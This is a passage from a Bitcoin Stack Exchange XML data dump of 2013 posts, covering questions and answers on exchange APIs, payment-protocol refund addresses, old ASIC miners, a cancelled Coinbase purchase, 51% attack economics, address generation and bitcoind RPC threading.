{&#xA;        if ('trade' === data.private &amp;amp;&amp;amp; 'USD' === data.trade.price_currency) {&#xA;            console.log(&quot;Last trade price: &quot; + data.trade.price);&#xA;        }&#xA;        if ('depth' === data.private) {&#xA;            if ('ask' === data.depth.type_str) {&#xA;                console.log(&quot;Ask depth added: &quot; + data.depth.price);&#xA;            } else {&#xA;                console.log(&quot;Bid depth added: &quot; + data.depth.price);&#xA;            }&#xA;        }&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7375" LastActivityDate="2014-05-29T02:18:33.153" Title="MtGox streaming API - not receiving messages" Tags="|mtgox|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14183" PostTypeId="1" CreationDate="2013-10-30T15:46:33.267" Score="2" ViewCount="87" Body="&lt;p&gt;One of the features of the &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0070&quot; rel=&quot;nofollow noreferrer&quot;&gt;new payment protocol&lt;/a&gt; is that it allows the customer's wallet to automatically send a refund address with the transaction to the merchant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would the refund not be sent back to the same address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1629/why-does-bitcoin-send-the-change-to-a-different-address&quot;&gt;related question&lt;/a&gt; regarding why change is sent to a different address. Gavin and David Schwartz mentioned it being more difficult to track your bitcoin spendings and it obscuring which address is the spending address and which the change address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the reason why new addresses are supposed to be used for refunds or are there any additional reasons?&lt;/p&gt;&#xA;" OwnerUserId="7036" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-10-30T17:39:02.023" Title="Payment Protocol: Is using different addresses for refunds just because of privacy?" Tags="|address|privacy|bip70-payment-protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14184" PostTypeId="2" ParentId="14183" CreationDate="2013-10-30T16:59:24.810" Score="2" Body="&lt;p&gt;Some hosted wallets are using addresses in elaborate ways. So you cant be sure the address sending the payment is the one &quot;owning&quot; the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example is CoinJar, that uses addresses to indicate to what account the funds should be added. But behind the curtain CoinJar does anything it feels is best, making the most efficient use of all its previous outputs. &lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2013-10-30T16:59:24.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14185" PostTypeId="2" ParentId="14183" CreationDate="2013-10-30T17:39:02.023" Score="2" Body="&lt;p&gt;Another reason is that it makes Bitcoin slightly more resilient to compromising ECDSA. Unused addresses, from which funds were never sent, don't expose their public key, so breaking ECDSA doesn't mean you can immediately spend the funds.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-30T17:39:02.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14186" PostTypeId="2" ParentId="9956" CreationDate="2013-10-30T19:04:12.243" Score="-2" Body="&lt;p&gt;Yes, there are. Yesterday there was a story in Dutch newspapers about a Norwegian student who bought bitcoins in 2009 for 18 Euro, he forgot it then and recently found out that his investment has accumulated to 615.000 Euro. With much effort he found back his password. He sold 20 percent of it and from that amount of real money, he bought an apartment in Oslo&lt;/p&gt;&#xA;" OwnerUserId="7378" LastActivityDate="2013-10-30T19:04:12.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14187" PostTypeId="1" AcceptedAnswerId="14267" CreationDate="2013-10-30T20:05:17.040" Score="7" ViewCount="9217" Body="&lt;p&gt;In attempting to create a clone, a few things have to be considered... things like block time, reward, etc are often changed. What other things should be considered when messing with the source code?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="516" LastEditDate="2018-03-08T03:02:29.637" LastActivityDate="2018-03-08T03:02:29.637" Title="When making an altcoin copy of Bitcoin, where should one start?" Tags="|altcoin-development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14188" PostTypeId="1" CreationDate="2013-10-30T21:49:10.423" Score="1" ViewCount="6447" Body="&lt;p&gt;I'm making like nothing off these guys and am looking to use them for something else.  I guess these ASICs are designed for SHA-256 hash function based cryptocurrencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to mine Terracoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cryptocurrency list:&#xA;&lt;a href=&quot;http://dustcoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://dustcoin.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="5406" LastEditDate="2016-04-25T15:38:12.223" LastActivityDate="2016-04-25T15:38:12.223" Title="What do I do with all my old block erupters?" Tags="|mining-profitability|altcoin|asic|" AnswerCount="5" CommentCount="0" ClosedDate="2016-04-25T15:37:46.177" ContentLicense="CC BY-SA 3.0" />
  <row Id="14189" PostTypeId="2" ParentId="14170" CreationDate="2013-10-30T21:51:51.760" Score="1" Body="&lt;p&gt;You can't do this with bitcoind through RPC command, but there are tools available on the internet that will do this for you. For example, &lt;a href=&quot;http://blockexplorer.com/q/mytransactions&quot; rel=&quot;nofollow&quot;&gt;blockexplorer&lt;/a&gt; has a query specifically for this purpose. If you want to see how it's done, check out line 724 of &lt;a href=&quot;https://github.com/lirazsiri/blockexplorer/blob/master/htdocs/includes/app_stats.inc&quot; rel=&quot;nofollow&quot;&gt;app_stats.inc&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This RELIES on the fact that only address transactions will be sent/received&#xA;$result = SQL(&quot;SELECT encode(blocks.hash, 'hex') AS block, &#xA;                      encode(transactions.hash, 'hex') AS tx, &#xA;                      blocks.number AS blocknum, &#xA;                      blocks.time AT TIME ZONE 'UTC' AS time, &#xA;                      transactions.id AS tid, &#xA;                      transactions.raw AS rawtx&#xA;&#xA;               FROM inputs JOIN transactions ON (inputs.tx = transactions.hash) &#xA;                           JOIN blocks ON (inputs.block = blocks.hash)&#xA;&#xA;               WHERE inputs.type = 'Address' AND &#xA;                     blocks.number&amp;gt;$1 AND inputs.hash160 IN ($addresses)&#xA;&#xA;               UNION &#xA;&#xA;               SELECT encode(blocks.hash, 'hex') AS block, &#xA;                      encode(transactions.hash, 'hex') AS tx, &#xA;                      blocks.number AS blocknum, &#xA;                      blocks.time AT TIME ZONE 'UTC' AS time, &#xA;                      transactions.id AS tid, &#xA;                      transactions.raw AS rawtx&#xA;&#xA;               FROM outputs JOIN transactions ON (outputs.tx = transactions.hash) &#xA;                            JOIN blocks ON (outputs.block = blocks.hash)&#xA;&#xA;               WHERE outputs.type = 'Address' AND &#xA;                     blocks.number&amp;gt;$1 AND &#xA;                     outputs.hash160 IN ($addresses) &#xA;&#xA;               ORDER BY tid;&quot;, $blocklimit);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2013-10-30T21:51:51.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14190" PostTypeId="1" AcceptedAnswerId="14398" CreationDate="2013-10-30T22:07:35.320" Score="3" ViewCount="405" Body="&lt;p&gt;Highlander pun aside, will one cryptocurrency vastly dominate the rest in the future?  Will it be a handful?  Will each government come up with their own cryptocurrency?&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2013-11-06T17:11:27.820" Title="In the end, will there be only one?" Tags="|currencies|" AnswerCount="2" CommentCount="1" ClosedDate="2013-11-06T17:27:08.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="14191" PostTypeId="2" ParentId="14182" CreationDate="2013-10-30T22:37:03.750" Score="0" Body="&lt;p&gt;Not 100% sure, my project is still working. Only difference I might see is the way you subscribe to the channel, I use a channel ID instead of a type. Not sure if that might have something to do with it. I'm a sort of novice programmer, just gettin back into it after years of sitting idle. Let me know if that helps&lt;/p&gt;&#xA;" OwnerUserId="7382" LastActivityDate="2013-10-30T22:37:03.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14192" PostTypeId="2" ParentId="9245" CreationDate="2013-10-30T22:42:50.500" Score="-1" Body="&lt;p&gt;Try this link - simple explanations and instructions: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bit-buddy.com/electrum-setup.html&quot; rel=&quot;nofollow&quot;&gt;http://www.bit-buddy.com/electrum-setup.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7383" LastActivityDate="2013-10-30T22:42:50.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14194" PostTypeId="1" CreationDate="2013-10-31T00:33:05.177" Score="1" ViewCount="9020" Body="&lt;p&gt;Does Bitcoin mining serve any purpose other than rewarding the people with the best mining equipment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that free Bitcoins are given to whoever can mine the fastest.  Is that it, or is there any benefit brought about by mining?&lt;/p&gt;&#xA;" OwnerUserId="7386" LastEditorUserId="5406" LastEditDate="2016-02-08T13:14:12.967" LastActivityDate="2016-02-08T13:14:12.967" Title="What is the purpose of Bitcoin mining?" Tags="|mining-theory|" AnswerCount="2" CommentCount="4" ClosedDate="2013-11-01T11:23:19.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="14195" PostTypeId="1" CreationDate="2013-10-31T00:52:02.843" Score="16" ViewCount="29062" Body="&lt;p&gt;I bought 10 bitcoins, 4.5, and .4 on Oct 18/19 @ around $150-160.  On Oct 24, within almost the hour that the coins were supposed to arrive, I receive the following email for all 3 transactions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On Oct 18, 2013 you purchased 10.00 BTC via bank transfer for&#xA;  $1,556.76.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unfortunately, we have decided to cancel this order because it appears&#xA;  to be high risk. We do not send out any bitcoins on high risk&#xA;  transactions, and you will receive a refund to your bank account in&#xA;  3-4 business days.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Please understand that we do this to keep the community safe and avoid&#xA;  fraudulent transactions. Apologies if you are one of the good users&#xA;  who gets caught up in this preventitive measure - we don't get it&#xA;  right 100% of the time, but we need to be cautious when it comes to&#xA;  preventing fraud.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You may have more luck trying again in a few weeks. Best of luck and&#xA;  thank you for trying Coinbase.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Kind regards, The Coinbase Team&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I didn't think it was a big deal after doing a little research since they have squared things away with similar situations, and I've made a 10BTC transaction in the past, but i was a bit worried because of the size of the transactions and the movement of the market.  I ask this how could this be fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6 days later, I finally get a response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry for the confusion on that. It looks like your recent purchases&#xA;  were canceled due to appearing high risk, and a refund has been sent&#xA;  to your bank account.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I know it must be frustrating to have this happen, but it's an&#xA;  unfortunate necessity that we exercise caution when selling bitcoin&#xA;  online in order to protect ourselves and the bitcoin community from&#xA;  fraudulent transactions. While bitcoin transactions from one account&#xA;  to another do not face this kind of cancellation, we can't guarantee&#xA;  the sale of bitcoin to every account due to the high risk nature of&#xA;  selling them online. If you try a purchase at a later time then you&#xA;  may have success getting it to go through. Please don't hesitate to&#xA;  shoot me an email if you have any further questions!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-Rees D. Sloan&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Customer Support Specialist&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This response really didn't tell me anything.  So I ask what my other options are and here is there next response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi &lt;strong&gt;_&lt;/strong&gt; ,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I am extremely sorry for the confusion on this. I've taken further&#xA;  steps to review your account and at this point we've been able to get&#xA;  you whitelisted. Any future purchases you make from this point forward&#xA;  will not encounter this cancellation. Unfortunately, since the refund&#xA;  has already been sent out on these original purchases, I'm unable to&#xA;  push through or re-create the original transactions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Again, I apologize for the frustration this has caused. If you need&#xA;  further assistance please let me know and I'll be happy to help!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-Rees D. Sloan&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Customer Support Specialist&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Something really just doesn't add up here.  At the date and time that the bitcoins were supposed to be added to my account, the price was at like ~199 and 200+ on bitstamp and mtgox.  Thats ~$50 increase since the time i bought it, costing me nearly $7-800. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what did coinbase do with the ~$2500 that was in limbo for so long?  And what happened to the bitcoins that was purchased at much cheaper prices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean coinbase could have just denied these transactions right away, and I could have went to another site to buy it right away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that really hurts about this is that none of this money was mine.  I am just a student and I finally convinced family and friends that bitcoin is a worthy investment and they finally trusted me giving me this money to invest.  Is there anyway that this could be reconciled?&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2018-08-10T17:07:45.003" Title="Did I just get defrauded by Coinbase?" Tags="|transactions|legal|services|coinbase.com|fraud|" AnswerCount="7" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14196" PostTypeId="2" ParentId="14195" CreationDate="2013-10-31T01:17:32.177" Score="8" Body="&lt;p&gt;Basically, yes.  Coinbase is notorious for this type of shady practice; hit me just last week.  At least you got a reply, their customer service ignored my requests for updates.  A few quick searches will find you quite a few repeats of this same old story.  It's best to not think of Coinbase as an exchange at all; think of them as just a store that sells bitcoins at a mark-up.&lt;/p&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2013-10-31T01:17:32.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14197" PostTypeId="2" ParentId="14190" CreationDate="2013-10-31T03:34:49.933" Score="6" Body="&lt;p&gt;The reason Bitcoin has value is because it is resistant to censorship (e.g., prohibiting transactions related to illicit purchases) and corruption (e.g., an authoritative source changing the rules). It does this thanks to the innovation known as proof-of-work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this proof-of-work means Bitcoin is vulnerable to attack from a party or cartel with more than 50% of the hashing capacity. The cost to perform the attack is enormous, and there is no economic incentive to do so — thus the likelihood that will occur is significantly discounted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin also is a proof-of-work based crypto currency. The primary difference between Bitcoin and Litecoin is the algorithm used for the proof-of-work (Bitcoin uses SHA256, and Litecoin uses Scrypt) and the amount of hashing capacity needed to be successful with a 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an arsenal of maybe ten thousand GPUs and a distributed denial-of-service (DDoS) attack against the LItecoin pools, a 51% attack against Litecoin is likely to technically be a success. But such an attack isn’t performed to prove a point, it is performed to gain a profit. And whether there is the potential to profit from a Litecoin 51% attack depends on a few factors. Exchanges that don’t require identity would be the targets. This means the attacker won’t be double spending litecoins against the exchanges like Mt. Gox, Kraken, etc., but instead Vircurex, Cryptsy, etc, Today there likely isn’t the possibility to suddenly convert several million dollars worth of litecoins into bitcoins and then withdraw those bitcoins. Those exchanges simply don’t have that level of liquidity. So today there is no economic incentive to perform a 51% attack against Litecoin. But if an attacker were to perform a 51% attack, Litecoin is a lot more vulnerable than Bitcoin – due to the inability to acquire 2,300 Th/s of SHA256 hashing capacity, nonetheless the cost — something that would cost, using equipment prices offered today, over ten million dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That doesn’t mean Litecoin or some other alt can’t reach a similar level as Bitcoin as far as there being no economic incentive for a 51% attack. And if an alt were to reach that level, Litecoin would probably be it. But Litecoin is vulnerable for a period of time until it gets there. And that’s why, other than the first-mover-advantage that Bitcoin has, that an alt is not simply a lesser-valued coin than Bitcoin. They simply have differences and the market recognizes these differences and that shows up in the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if wanting to choose between a Feathercoin and Litecoin, for instance, and the risk of a 51% is even more pronounced. And that’s why a Feathercoin, for example, has had (and likely will continue to have) successful 51% attacks performed against it. So we probably don’t need to worry about a thousand alts, each being considered suitable alternatives to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wildcard is the potential that a proof-of-stake based alt coin, which doesn’t have mining based on proof-of-work, would be an acceptable solution. But a proof-of-stake coin essentially changes the risk from an attacker acquiring hashing capacity to an attacker acquiring a sufficient quantity of coins themselves. Again, — such an attack brings no economic benefit, at least not today. But the market seems to agree that proof-of-work architecture is the right approach for a decentralized digital currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of all proof-of-work based digital currencies, bitcoin's protection from a 51% today trumps all others. And that’s enough to prefer Bitcoin over the alternatives. At least, that’s the case today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Source: &lt;a href=&quot;http://btctheory.com/2013/10/20/bitcoin-alt-coins-and-free-money-theory/comment-page-1/#comment-15&quot;&gt;http://btctheory.com/2013/10/20/bitcoin-alt-coins-and-free-money-theory/comment-page-1/#comment-15&lt;/a&gt; ]&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-31T03:34:49.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14200" PostTypeId="1" AcceptedAnswerId="14223" CreationDate="2013-10-31T06:26:28.440" Score="1" ViewCount="341" Body="&lt;p&gt;I've asked around, and it seems that to figure out that bitcoind is still downloading blocks is to run ./bitcoind getinfo and see if the &quot;block count&quot; is increasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to do this, or is there a better way? How do those clients figure out that there's &quot;30 blocks left&quot; to download etc?&lt;/p&gt;&#xA;" OwnerUserId="7393" LastActivityDate="2013-10-31T23:59:23.920" Title="bitcoind and figuring out if it's still downloading blocks" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14202" PostTypeId="2" ParentId="14200" CreationDate="2013-10-31T08:31:50.373" Score="1" Body="&lt;p&gt;There are several ways to estimate the number of blocks left to download. The easiest is likely that the client takes a look around at what its peers are saying their longest chain currently looks like. So if you connect to 8 peers in the network it is very unlikely that all of them are still catching up with the rest of the network and therefore it will tell you what the current state, or something close to it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way of estimating the number of blocks is by looking at the timestamp included in the block that you just downloaded. In expectation a block should arrive every 10 minutes. The timestamp in the block is not allowed to deviate from the actual time it was mined by more than a fixed number of minutes (otherwise it would be rejected when it is first seen). So if you subtract the time of the last block you downloaded from the current time and then divide by 10 minute intervals you get an estimate of the total number of blocks in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that the second method may not be incredibly precise, especially in times the commputational power in the network grows quickly, like it is currently doing, or is reduced quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for you checking how many blocks are left, it's a simple matter of going to a trusted block explorer and comparing your blockchain height with the height they display.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-10-31T08:31:50.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14203" PostTypeId="2" ParentId="14188" CreationDate="2013-10-31T09:35:13.393" Score="1" Body="&lt;p&gt;There's piles of different coins to mine.  Figure out which one is most profitable to mine: &lt;a href=&quot;http://www.coinwarz.com&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7397" LastActivityDate="2013-10-31T09:35:13.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14204" PostTypeId="1" AcceptedAnswerId="14225" CreationDate="2013-10-31T10:09:47.933" Score="0" ViewCount="916" Body="&lt;p&gt;Is anyone involved in any open source projects? Anyone know of any? Maybe a nice list of different classes of projects would be good, I'd like to get my hands on some projects.&lt;/p&gt;&#xA;" OwnerUserId="7307" LastActivityDate="2014-10-07T06:29:51.763" Title="Open source bitcoin projects?" Tags="|open-source|project|" AnswerCount="1" CommentCount="4" ClosedDate="2013-11-09T03:34:22.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="14205" PostTypeId="2" ParentId="14188" CreationDate="2013-10-31T11:33:45.713" Score="2" Body="&lt;p&gt;Unfortunately these small asics will eventually be useless unless you want to keep one or two around on the off-chance that you will want to start your own crypto-currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you have a pile of 10-20 of them setting around, you could use them as an opportunity to teach people about Bitcoins and how the system operates.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handing out erupters that you no longer need could be a good way to pique the interest of people who have heard of bitcoin, but have never taken a good look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than educational purposes, or seeding new cryptos, I see no &lt;em&gt;long-term&lt;/em&gt; use for these low hash power ASICs.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-10-31T11:52:11.947" LastActivityDate="2013-10-31T11:52:11.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14207" PostTypeId="1" CreationDate="2013-10-31T13:20:42.403" Score="3" ViewCount="4333" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Address&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Bitcoin address, or simply address, is an identifier of 27-34 alphanumeric characters, beginning with the number 1 or 3, that represents a possible destination for a Bitcoin payment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is any random address I create following the above rules going to be an address I can sucesfully send Bitcoin to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I randomly generate these addresses:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1AAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/li&gt;&#xA;&lt;li&gt;3111111111111111111111111111111111&lt;/li&gt;&#xA;&lt;li&gt;2FWIOHFEWNFEOWEFHO34234242244EFDE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are these all valid addresses I can always send Bitcoin payments to?  Or do they have to already 'exist' in some capacity?&lt;/p&gt;&#xA;" OwnerUserId="7138" LastActivityDate="2018-01-14T13:52:47.443" Title="Random Bitcoin address generation" Tags="|address|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14210" PostTypeId="2" ParentId="14207" CreationDate="2013-10-31T14:35:23.313" Score="3" Body="&lt;p&gt;Addresses are randomly generated starting from a private key. The private key is the only truly random value in a whole chain of interesting values. These values are then mathematically derived from the private key. On the other end of the chain of values is the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you could simply pick an address and recover the private key that, when passing it through the address derivation mechanism, gives you that address we would be in a lot of trouble. People could simply listen to transactions on the network, extract the receiving address, reconstruct the private key and spend the funds, even if they were not the intended recipient. So at this point it should be clear that simply picking an address and go ahead from there is not possible, in other words some of the functions in the chain are non-reversible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So starting from the private key, we construct a public key. Already this first step is non-reversible, otherwise public-key cryptosystems would stop working. It should be computationally unfeasible to recover the private key from the public key. Bitcoin further goes ahead and hashes the public key twice. This step is non-reversible as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first character of the address depends on the address version and may not be freely chosen. Then there is the matter of the Base58 encoding, which unlike the other mechanisms is reversible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally the last few characters in the address are a checksum which is again calculated as a double hash of the already hashed public key. So for these last characters there is simply no way of &quot;choosing&quot; them so that the address looks a certain way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question: no, you cannot simply pick an Address that looks nice and use it as yours. That's also the reason why tools like &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow&quot;&gt;vanitygen&lt;/a&gt; exist: they simply pick a random private key, transform it until they get an address and then check whether it has the desired features, e.g., your name in it. The more restrictive you are with what you want your address to look like, the harder it gets to find one that does. This difficulty increases exponentially, hence the term computationally unfeasible above.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-10-31T14:35:23.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14211" PostTypeId="2" ParentId="14194" CreationDate="2013-10-31T14:49:54.737" Score="3" Body="&lt;p&gt;The initial mining revenue was those who created the system and early adopters experimenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to remember at this time they were worth very little. many of those coins may have been deleted, sold or spent at a much lower value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The risk to reward ratio was much larger, many thought they would not be worth anything. Your calling this money because millions of people have now given trust to the system. Back when it started currency from a game like World of Warcraft would have been considered more valuable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason people with &quot;good computers&quot; got coins is not because they had those computers, it is because less people were actively trying to accumulate bitcoin, making it easier for any computer to do so.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-10-31T14:49:54.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14212" PostTypeId="1" CreationDate="2013-10-31T14:59:38.483" Score="0" ViewCount="197" Body="&lt;p&gt;What's up guys... I'm trying to figure out what's the best shopping card interface I should use. I want a PHP based, simple to work with. Was looking on bitfreak sci, looks good, but the negative point is that the client need to keep the session openned until the server recognize the payment (at least for what I understood, if I'm wrong correct me). So, 2 things I want to know: have any other SCI that the client don't need to keep session openned for the payment to be recognized? I know the bitcoin payments take some time to be validate, but some SCI that don't work with the user's browser session. Let's suppose a user make payment and just close his browser, it still able to recognize his payment?&#xA;And other question is about the addresses created by the SCI... How can I access those addresses to pick up the money?&lt;/p&gt;&#xA;" OwnerUserId="7402" LastActivityDate="2014-03-30T21:59:30.143" Title="Doubt about Bitcoin SCI" Tags="|wallet.dat|shopping-cart-interface|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14213" PostTypeId="1" CreationDate="2013-10-31T15:37:30.160" Score="1" ViewCount="298" Body="&lt;p&gt;Is it possible to get the private keys for change addresses that get generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a way to auto export that, do the clients make the change addresses or does another mechanism in the network make them?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-10-31T16:01:26.337" Title="get the private key for change addresses" Tags="|private-key|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14214" PostTypeId="2" ParentId="11592" CreationDate="2013-10-31T15:38:11.897" Score="-1" Body="&lt;p&gt;Here you go I have recently uploaded the bitcoin blockchain to sourceforge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain &amp;amp; Chainstate Date: 29th October 2013&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download Link: &lt;a href=&quot;https://sourceforge.net/projects/bitcoinblockchain/files/29-10-2013/&quot; rel=&quot;nofollow&quot;&gt;https://sourceforge.net/projects/bitcoinblockchain/files/29-10-2013/&lt;/a&gt;&#xA;Download Size: 9GB (Compressed) - 13GB (Decompressed)&lt;/p&gt;&#xA;" OwnerUserId="7403" LastActivityDate="2013-10-31T15:38:11.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14215" PostTypeId="1" AcceptedAnswerId="14229" CreationDate="2013-10-31T15:55:35.643" Score="3" ViewCount="1208" Body="&lt;p&gt;My application uses bitcoind RPC with a Python wrapper. I want to write one thread that periodically watches a number of addresses by calling &quot;listtransactions&quot;. Other threads might need to call other API commands in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to use bitcoind in such a multi-thread setup? (maybe I will use multi-processing in the end because of Pythons global interpreter lock).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I searched for an answer I found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12590/are-bitcoin-commands-resistant-to-race-conditions-and-thread-safe&quot;&gt;Are bitcoin commands resistant to race conditions and thread-safe?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am not sure if this answer applies to my problem (and I am also not sure whether Pieter's &quot;yes&quot; is a reply to the first or the second question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6991" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-11-02T23:07:20.343" Title="Is calling the bitcoind RPC multi-thread safe?" Tags="|bitcoind|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
